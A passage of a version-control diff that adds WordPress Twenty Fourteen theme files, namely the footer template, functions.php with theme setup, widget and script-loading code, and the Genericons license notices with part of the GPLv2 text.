+		foreach ( (array) $featured_posts as $order => $post ) :
+			setup_postdata( $post );
+
+			// Include the featured content template.
+			get_template_part( 'content', 'featured-post' );
+		endforeach;
+
+		/**
+		 * Fires after the Twenty Fourteen featured content.
+		 *
+		 * @since Twenty Fourteen 1.0
+		 */
+		do_action( 'twentyfourteen_featured_posts_after' );
+
+		wp_reset_postdata();
+	?>
+	</div><!-- .featured-content-inner -->
+</div><!-- #featured-content .featured-content -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/footer.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains footer content and the closing of the #main and #page div elements.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+		</div><!-- #main -->
+
+		<footer id="colophon" class="site-footer" role="contentinfo">
+
+			<?php get_sidebar( 'footer' ); ?>
+
+			<div class="site-info">
+				<?php do_action( 'twentyfourteen_credits' ); ?>
+				<?php
+				if ( function_exists( 'the_privacy_policy_link' ) ) {
+					the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+				}
+				?>
+				<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentyfourteen' ) ); ?>" class="imprint">
+					<?php printf( __( 'Proudly powered by %s', 'twentyfourteen' ), 'WordPress' ); ?>
+				</a>
+			</div><!-- .site-info -->
+		</footer><!-- #colophon -->
+	</div><!-- #page -->
+
+	<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/functions.php	(revision 56912)
@@ -0,0 +1,641 @@
+<?php
+/**
+ * Twenty Fourteen functions and definitions
+ *
+ * Set up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme you can override certain functions (those wrapped
+ * in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before
+ * the parent theme's file, so the child theme functions would be used.
+ *
+ * @link https://codex.wordpress.org/Theme_Development
+ * @link https://codex.wordpress.org/Child_Themes
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters,
+ * @link https://codex.wordpress.org/Plugin_API
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Set up the content width value based on the theme's design.
+ *
+ * @see twentyfourteen_content_width()
+ *
+ * @since Twenty Fourteen 1.0
+ */
+if ( ! isset( $content_width ) ) {
+	$content_width = 474;
+}
+
+/**
+ * Twenty Fourteen only works in WordPress 3.6 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '3.6', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+}
+
+if ( ! function_exists( 'twentyfourteen_setup' ) ) :
+/**
+ * Twenty Fourteen setup.
+ *
+ * Set up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which
+ * runs before the init hook. The init hook is too late for some features, such
+ * as indicating support post thumbnails.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_setup() {
+
+	/*
+	 * Make Twenty Fourteen available for translation.
+	 *
+	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyfourteen
+	 * If you're building a theme based on Twenty Fourteen, use a find and
+	 * replace to change 'twentyfourteen' to the name of your theme in all
+	 * template files.
+	 */
+	load_theme_textdomain( 'twentyfourteen' );
+
+	// This theme styles the visual editor to resemble the theme style.
+	add_editor_style( array( 'css/editor-style.css', twentyfourteen_font_url(), 'genericons/genericons.css' ) );
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Green', 'twentyfourteen' ),
+			'slug'  => 'green',
+			'color' => '#24890d',
+		),
+		array(
+			'name'  => __( 'Black', 'twentyfourteen' ),
+			'slug'  => 'black',
+			'color' => '#000',
+		),
+		array(
+			'name'  => __( 'Dark Gray', 'twentyfourteen' ),
+			'slug'  => 'dark-gray',
+			'color' => '#2b2b2b',
+		),
+		array(
+			'name'  => __( 'Medium Gray', 'twentyfourteen' ),
+			'slug'  => 'medium-gray',
+			'color' => '#767676',
+		),
+		array(
+			'name'  => __( 'Light Gray', 'twentyfourteen' ),
+			'slug'  => 'light-gray',
+			'color' => '#f5f5f5',
+		),
+		array(
+			'name'  => __( 'White', 'twentyfourteen' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		),
+	) );
+
+	// Add RSS feed links to <head> for posts and comments.
+	add_theme_support( 'automatic-feed-links' );
+
+	// Enable support for Post Thumbnails, and declare two sizes.
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 672, 372, true );
+	add_image_size( 'twentyfourteen-full-width', 1038, 576, true );
+
+	// This theme uses wp_nav_menu() in two locations.
+	register_nav_menus( array(
+		'primary'   => __( 'Top primary menu', 'twentyfourteen' ),
+		'secondary' => __( 'Secondary menu in left sidebar', 'twentyfourteen' ),
+	) );
+
+	/*
+	 * Switch default core markup for search form, comment form, and comments
+	 * to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
+	) );
+
+	/*
+	 * Enable support for Post Formats.
+	 * See https://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery',
+	) );
+
+	// This theme allows users to set a custom background.
+	add_theme_support( 'custom-background', apply_filters( 'twentyfourteen_custom_background_args', array(
+		'default-color' => 'f5f5f5',
+	) ) );
+
+	// Add support for featured content.
+	add_theme_support( 'featured-content', array(
+		'featured_content_filter' => 'twentyfourteen_get_featured_posts',
+		'max_posts' => 6,
+	) );
+
+	// This theme uses its own gallery styles.
+	add_filter( 'use_default_gallery_style', '__return_false' );
+
+	// Indicate widget sidebars can use selective refresh in the Customizer.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+}
+endif; // twentyfourteen_setup
+add_action( 'after_setup_theme', 'twentyfourteen_setup' );
+
+/**
+ * Adjust content_width value for image attachment template.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_content_width() {
+	if ( is_attachment() && wp_attachment_is_image() ) {
+		$GLOBALS['content_width'] = 810;
+	}
+}
+add_action( 'template_redirect', 'twentyfourteen_content_width' );
+
+/**
+ * Getter function for Featured Content Plugin.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return array An array of WP_Post objects.
+ */
+function twentyfourteen_get_featured_posts() {
+	/**
+	 * Filter the featured posts to return in Twenty Fourteen.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array|bool $posts Array of featured posts, otherwise false.
+	 */
+	return apply_filters( 'twentyfourteen_get_featured_posts', array() );
+}
+
+/**
+ * A helper conditional function that returns a boolean value.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return bool Whether there are featured posts.
+ */
+function twentyfourteen_has_featured_posts() {
+	return ! is_paged() && (bool) twentyfourteen_get_featured_posts();
+}
+
+/**
+ * Register three Twenty Fourteen widget areas.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_widgets_init() {
+	require get_template_directory() . '/inc/widgets.php';
+	register_widget( 'Twenty_Fourteen_Ephemera_Widget' );
+
+	register_sidebar( array(
+		'name'          => __( 'Primary Sidebar', 'twentyfourteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Main sidebar that appears on the left.', 'twentyfourteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h1 class="widget-title">',
+		'after_title'   => '</h1>',
+	) );
+	register_sidebar( array(
+		'name'          => __( 'Content Sidebar', 'twentyfourteen' ),
+		'id'            => 'sidebar-2',
+		'description'   => __( 'Additional sidebar that appears on the right.', 'twentyfourteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h1 class="widget-title">',
+		'after_title'   => '</h1>',
+	) );
+	register_sidebar( array(
+		'name'          => __( 'Footer Widget Area', 'twentyfourteen' ),
+		'id'            => 'sidebar-3',
+		'description'   => __( 'Appears in the footer section of the site.', 'twentyfourteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h1 class="widget-title">',
+		'after_title'   => '</h1>',
+	) );
+}
+add_action( 'widgets_init', 'twentyfourteen_widgets_init' );
+
+/**
+ * Register Lato Google font for Twenty Fourteen.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return string
+ */
+function twentyfourteen_font_url() {
+	$font_url = '';
+	/*
+	 * Translators: If there are characters in your language that are not supported
+	 * by Lato, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Lato font: on or off', 'twentyfourteen' ) ) {
+		$query_args = array(
+			'family' => urlencode( 'Lato:300,400,700,900,300italic,400italic,700italic' ),
+			'subset' => urlencode( 'latin,latin-ext' ),
+		);
+		$font_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
+	}
+
+	return $font_url;
+}
+
+/**
+ * Enqueue scripts and styles for the front end.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_scripts() {
+	// Add Lato font, used in the main stylesheet.
+	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
+
+	// Add Genericons font, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.0.3' );
+
+	// Load our main stylesheet.
+	wp_enqueue_style( 'twentyfourteen-style', get_stylesheet_uri() );
+
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentyfourteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentyfourteen-style' ), '20181230' );
+
+	// Load the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentyfourteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfourteen-style' ), '20131205' );
+	wp_style_add_data( 'twentyfourteen-ie', 'conditional', 'lt IE 9' );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+
+	if ( is_singular() && wp_attachment_is_image() ) {
+		wp_enqueue_script( 'twentyfourteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20130402' );
+	}
+
+	if ( is_active_sidebar( 'sidebar-3' ) ) {
+		wp_enqueue_script( 'jquery-masonry' );
+	}
+
+	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
+		wp_enqueue_script( 'twentyfourteen-slider', get_template_directory_uri() . '/js/slider.js', array( 'jquery' ), '20131205', true );
+		wp_localize_script( 'twentyfourteen-slider', 'featuredSliderDefaults', array(
+			'prevText' => __( 'Previous', 'twentyfourteen' ),
+			'nextText' => __( 'Next', 'twentyfourteen' )
+		) );
+	}
+
+	wp_enqueue_script( 'twentyfourteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20150315', true );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfourteen_scripts' );
+
+/**
+ * Enqueue Google fonts style to admin screen for custom header display.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_admin_fonts() {
+	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
+}
+add_action( 'admin_print_scripts-appearance_page_custom-header', 'twentyfourteen_admin_fonts' );
+
+/**
+ * Add preconnect for Google Fonts.
+ *
+ * @since Twenty Fourteen 1.9
+ *
+ * @param array   $urls          URLs to print for resource hints.
+ * @param string  $relation_type The relation type the URLs are printed.
+ * @return array URLs to print for resource hints.
+ */
+function twentyfourteen_resource_hints( $urls, $relation_type ) {
+	if ( wp_style_is( 'twentyfourteen-lato', 'queue' ) && 'preconnect' === $relation_type ) {
+		if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
+			$urls[] = array(
+				'href' => 'https://fonts.gstatic.com',
+				'crossorigin',
+			);
+		} else {
+			$urls[] = 'https://fonts.gstatic.com';
+		}
+	}
+
+	return $urls;
+}
+add_filter( 'wp_resource_hints', 'twentyfourteen_resource_hints', 10, 2 );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Fourteen 2.3
+ */
+function twentyfourteen_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentyfourteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20181230' );
+	// Add custom fonts.
+	wp_enqueue_style( 'twentyfourteen-fonts', twentyfourteen_font_url(), array(), null );
+}
+add_action( 'enqueue_block_editor_assets', 'twentyfourteen_block_editor_styles' );
+
+if ( ! function_exists( 'twentyfourteen_the_attached_image' ) ) :
+/**
+ * Print the attached image with a link to the next attached image.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_the_attached_image() {
+	$post                = get_post();
+	/**
+	 * Filter the default Twenty Fourteen attachment size.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $dimensions {
+	 *     An array of height and width dimensions.
+	 *
+	 *     @type int $height Height of the image in pixels. Default 810.
+	 *     @type int $width  Width of the image in pixels. Default 810.
+	 * }
+	 */
+	$attachment_size     = apply_filters( 'twentyfourteen_attachment_size', array( 810, 810 ) );
+	$next_attachment_url = wp_get_attachment_url();
+
+	/*
+	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
+	 * of the next adjacent image in a gallery, or the first image (if we're
+	 * looking at the last image in a gallery), or, in a gallery of one, just the
+	 * link to that image file.
+	 */
+	$attachment_ids = get_posts( array(
+		'post_parent'    => $post->post_parent,
+		'fields'         => 'ids',
+		'numberposts'    => -1,
+		'post_status'    => 'inherit',
+		'post_type'      => 'attachment',
+		'post_mime_type' => 'image',
+		'order'          => 'ASC',
+		'orderby'        => 'menu_order ID',
+	) );
+
+	// If there is more than 1 attachment in a gallery...
+	if ( count( $attachment_ids ) > 1 ) {
+		foreach ( $attachment_ids as $idx => $attachment_id ) {
+			if ( $attachment_id == $post->ID ) {
+				$next_id = $attachment_ids[ ( $idx + 1 ) % count( $attachment_ids ) ];
+				break;
+			}
+		}
+
+		// get the URL of the next image attachment...
+		if ( $next_id ) {
+			$next_attachment_url = get_attachment_link( $next_id );
+		}
+
+		// or get the URL of the first image attachment.
+		else {
+			$next_attachment_url = get_attachment_link( reset( $attachment_ids ) );
+		}
+	}
+
+	printf( '<a href="%1$s" rel="attachment">%2$s</a>',
+		esc_url( $next_attachment_url ),
+		wp_get_attachment_image( $post->ID, $attachment_size )
+	);
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_list_authors' ) ) :
+/**
+ * Print a list of all site contributors who published at least one post.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_list_authors() {
+	$contributor_ids = get_users( array(
+		'fields'  => 'ID',
+		'orderby' => 'post_count',
+		'order'   => 'DESC',
+		'who'     => 'authors',
+	) );
+
+	foreach ( $contributor_ids as $contributor_id ) :
+		$post_count = count_user_posts( $contributor_id );
+
+		// Move on if user has not published a post (yet).
+		if ( ! $post_count ) {
+			continue;
+		}
+	?>
+
+	<div class="contributor">
+		<div class="contributor-info">
+			<div class="contributor-avatar"><?php echo get_avatar( $contributor_id, 132 ); ?></div>
+			<div class="contributor-summary">
+				<h2 class="contributor-name"><?php echo get_the_author_meta( 'display_name', $contributor_id ); ?></h2>
+				<p class="contributor-bio">
+					<?php echo get_the_author_meta( 'description', $contributor_id ); ?>
+				</p>
+				<a class="button contributor-posts-link" href="<?php echo esc_url( get_author_posts_url( $contributor_id ) ); ?>">
+					<?php printf( _n( '%d Article', '%d Articles', $post_count, 'twentyfourteen' ), $post_count ); ?>
+				</a>
+			</div><!-- .contributor-summary -->
+		</div><!-- .contributor-info -->
+	</div><!-- .contributor -->
+
+	<?php
+	endforeach;
+}
+endif;
+
+/**
+ * Extend the default WordPress body classes.
+ *
+ * Adds body classes to denote:
+ * 1. Single or multiple authors.
+ * 2. Presence of header image except in Multisite signup and activate pages.
+ * 3. Index views.
+ * 4. Full-width content layout.
+ * 5. Presence of footer widgets.
+ * 6. Single views.
+ * 7. Featured content layout.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param array $classes A list of existing body class values.
+ * @return array The filtered body class list.
+ */
+function twentyfourteen_body_classes( $classes ) {
+	if ( is_multi_author() ) {
+		$classes[] = 'group-blog';
+	}
+
+	if ( get_header_image() ) {
+		$classes[] = 'header-image';
+	} elseif ( ! in_array( $GLOBALS['pagenow'], array( 'wp-activate.php', 'wp-signup.php' ) ) ) {
+		$classes[] = 'masthead-fixed';
+	}
+
+	if ( is_archive() || is_search() || is_home() ) {
+		$classes[] = 'list-view';
+	}
+
+	if ( ( ! is_active_sidebar( 'sidebar-2' ) )
+		|| is_page_template( 'page-templates/full-width.php' )
+		|| is_page_template( 'page-templates/contributors.php' )
+		|| is_attachment() ) {
+		$classes[] = 'full-width';
+	}
+
+	if ( is_active_sidebar( 'sidebar-3' ) ) {
+		$classes[] = 'footer-widgets';
+	}
+
+	if ( is_singular() && ! is_front_page() ) {
+		$classes[] = 'singular';
+	}
+
+	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
+		$classes[] = 'slider';
+	} elseif ( is_front_page() ) {
+		$classes[] = 'grid';
+	}
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentyfourteen_body_classes' );
+
+/**
+ * Extend the default WordPress post classes.
+ *
+ * Adds a post class to denote:
+ * Non-password protected page with a post thumbnail.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param array $classes A list of existing post class values.
+ * @return array The filtered post class list.
+ */
+function twentyfourteen_post_classes( $classes ) {
+	if ( ! post_password_required() && ! is_attachment() && has_post_thumbnail() ) {
+		$classes[] = 'has-post-thumbnail';
+	}
+
+	return $classes;
+}
+add_filter( 'post_class', 'twentyfourteen_post_classes' );
+
+/**
+ * Create a nicely formatted and more specific title element text for output
+ * in head of document, based on current view.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @global int $paged WordPress archive pagination page count.
+ * @global int $page  WordPress paginated post page count.
+ *
+ * @param string $title Default title text for current view.
+ * @param string $sep Optional separator.
+ * @return string The filtered title.
+ */
+function twentyfourteen_wp_title( $title, $sep ) {
+	global $paged, $page;
+
+	if ( is_feed() ) {
+		return $title;
+	}
+
+	// Add the site name.
+	$title .= get_bloginfo( 'name', 'display' );
+
+	// Add the site description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) ) {
+		$title = "$title $sep $site_description";
+	}
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
+		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentyfourteen' ), max( $paged, $page ) );
+	}
+
+	return $title;
+}
+add_filter( 'wp_title', 'twentyfourteen_wp_title', 10, 2 );
+
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Fourteen 2.1
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentyfourteen_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 22;
+	$args['smallest'] = 8;
+	$args['unit']     = 'pt';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentyfourteen_widget_tag_cloud_args' );
+
+
+// Implement Custom Header features.
+require get_template_directory() . '/inc/custom-header.php';
+
+// Custom template tags for this theme.
+require get_template_directory() . '/inc/template-tags.php';
+
+// Add Customizer functionality.
+require get_template_directory() . '/inc/customizer.php';
+
+/*
+ * Add Featured Content functionality.
+ *
+ * To overwrite in a plugin, define your own Featured_Content class on or
+ * before the 'setup_theme' hook.
+ */
+if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {
+	require get_template_directory() . '/inc/featured-content.php';
+}
+
+/**
+ * Add an `is_customize_preview` function if it is missing.
+ *
+ * Enables installing Twenty Fourteen in WordPress versions before 4.0.0 when the
+ * `is_customize_preview` function was introduced.
+ */
+if ( ! function_exists( 'is_customize_preview' ) ) :
+function is_customize_preview() {
+	global $wp_customize;
+
+	return ( $wp_customize instanceof WP_Customize_Manager ) && $wp_customize->is_preview();
+}
+endif;
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/COPYING.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/COPYING.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/COPYING.txt	(revision 56912)
@@ -0,0 +1,9 @@
+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/LICENSE.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/LICENSE.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/LICENSE.txt	(revision 56912)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
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+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
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+
+  Finally, any free program is threatened constantly by software
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+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
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+associated interface definition files, plus the scripts used to
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+
+If distribution of executable or object code is made by offering
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+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
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+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
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+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
